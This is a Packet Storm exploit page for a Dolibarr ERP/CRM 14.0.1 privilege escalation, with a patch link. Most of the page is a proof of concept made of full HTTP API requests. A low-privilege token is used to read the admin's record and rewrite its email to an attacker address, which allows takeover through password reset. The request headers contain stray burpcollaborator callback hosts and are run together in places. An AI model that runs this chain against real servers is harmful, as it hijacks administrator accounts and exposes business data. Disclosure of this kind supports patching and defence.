what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Dolibarr ERP/CRM 14.0.1 Privilege Escalation

Dolibarr ERP/CRM 14.0.1 Privilege Escalation
Posted Sep 2, 2021
Authored by Vishwaraj101

Dolibarr ERP/CRM versions 14.0.1 and below suffer from a privilege escalation vulnerability.

tags | exploit
SHA-256 | 0ab1a2b5906577cdab22ccf7d0109094744dc339b81d05909ad21448c8ca34be

Dolibarr ERP/CRM 14.0.1 Privilege Escalation

Change Mirror Download
# Exploit Title: Dolibarr ERP/CRM 14.0.1 - Privilege Escalation
# Date: April 8, 2021
# Exploit Author: Vishwaraj101
# Vendor Homepage: https://www.dolibarr.org/
# Affected Version: <= 14.0.1
# Patch: https://github.com/Dolibarr/dolibarr/commit/489cff46a37b04784d8e884af7fc2ad623bee17d

*Summary:*
Using the below chain of issues attacker can compromise any dolibarr
user account including the admin.

*Poc:*

1. Visit https://example.com/api/index.php/login?login=demo&password=demo
try to login with a test user with 0 permissons or less permissions.
2. We will receive an api token in return.
3. Next we need to fetch the user id of the user whose account we want
to own.



*First we need to fetch the user id of the admin user using the below api.*

*Request1:*

GET /api/index.php/users/login/admin HTTP/1.1Host:
preview2.dolibarr.ohttps://preview2.dolibarr.org/api/index.php/users/login/adminrg
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
root@tqn9xk6rn6fq8x9ijbmpouosrjxan3srh.burpcollaborator.netAccept:
application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflateDOLAPIKEY: test1337Connection: close

*This will return the user details using the username. Now update the
victim user account via below api (include the json body received from the
previous request1 and replace the email id from below json to the attacker
controlled email)*


*Request2:*PUT /api/index.php/users/*12* HTTP/1.1

Host: preview2.dolibarr.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1;
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87
Safari/537.36 root@67bmexn44jw3paqv0o3257558wen5mwal.burpcollaborator.netAccept:
application/jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip,
deflateDOLAPIKEY: test1337Origin:
https://preview2.dolibarr.orgConnection: closeReferer:
http://5z5l6wf3wio2h9iusnv1x6x40v6mxkw8l.burpcollaborator.net/refContent-Length:
3221
{
"id": "12",
"statut": "1",
"employee": "1",
"civility_code": null,
"gender": "woman",
"birth": 495583200,
"email": "*attacker@example.com <attacker@example.com>*",
"personal_email": "",
"socialnetworks": {
"facebook": "",
"skype": "",
"twitter": "",
"linkedin": "",
"instagram": "",
"snapchat": "",
"googleplus": "",
"youtube": "",
"whatsapp": "",
"tumblr": "",
"vero": "",
"viadeo": "",
"slack": "",
"xing": "",
"meetup": "",
"pinterest": "",
"flickr": "",
"500px": "",
"giphy": "",
"gifycat": "",
"dailymotion": "",
"vimeo": "",
"periscope": "",
"twitch": "",
"discord": "",
"wikipedia": "",
"reddit": "",
"quora": "",
"tripadvisor": "",
"mastodon": "",
"diaspora": "",
"viber": ""
},
"job": "Admin Technical",
"signature": "",
"address": "",
"zip": "",
"town": "",
"state_id": null,
"state_code": null,
"state": null,
"office_phone": "",
"office_fax": "",
"user_mobile": "",
"personal_mobile": "",
"admin": "1",
"login": "admin",
"entity": "0",
"datec": 1507187386,
"datem": 1617819214,
"socid": null,
"contact_id": null,
"fk_member": null,
"fk_user": "11",
"fk_user_expense_validator": null,
"fk_user_holiday_validator": null,
"clicktodial_url": null,
"clicktodial_login": null,
"clicktodial_poste": null,
"datelastlogin": 1617816891,
"datepreviouslogin": 1617815935,
"datestartvalidity": "",
"dateendvalidity": "",
"photo": "com.jpg",
"lang": "fr_FR",
"rights": {
"user": {
"user": {},
"self": {}
}
},
"conf": {},
"users": [],
"parentof": null,
"accountancy_code": "",
"weeklyhours": "39.00000000",
"color": "",
"dateemployment": "",
"dateemploymentend": "",
"default_c_exp_tax_cat": null,
"default_range": null,
"fk_warehouse": null,
"import_key": null,
"array_options": [],
"array_languages": null,
"linkedObjectsIds": null,
"canvas": null,
"fk_project": null,
"contact": null,
"thirdparty": null,
"user": null,
"origin": null,
"origin_id": null,
"ref": "12",
"ref_ext": null,
"status": null,
"country": null,
"country_id": null,
"country_code": "",
"region_id": null,
"barcode_type": null,
"barcode_type_code": null,
"barcode_type_label": null,
"barcode_type_coder": null,
"mode_reglement_id": null,
"cond_reglement_id": null,
"demand_reason_id": null,
"transport_mode_id": null,
"cond_reglement": null,
"modelpdf": null,
"last_main_doc": null,
"fk_bank": null,
"fk_account": null,
"note_public": "",
"note_private": "",
"note": "",
"name": null,
"lastname": "Adminson",
"firstname": "Alice",
"civility_id": null,
"date_creation": null,
"date_validation": null,
"date_modification": null,
"specimen": 0,
"alreadypaid": null,
"liste_limit": 0
}

This will reset the admin email account to the attacker controlled
email account, now using the password reset feature attacker will
reset the admin account password and will gain access to the admin
account.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close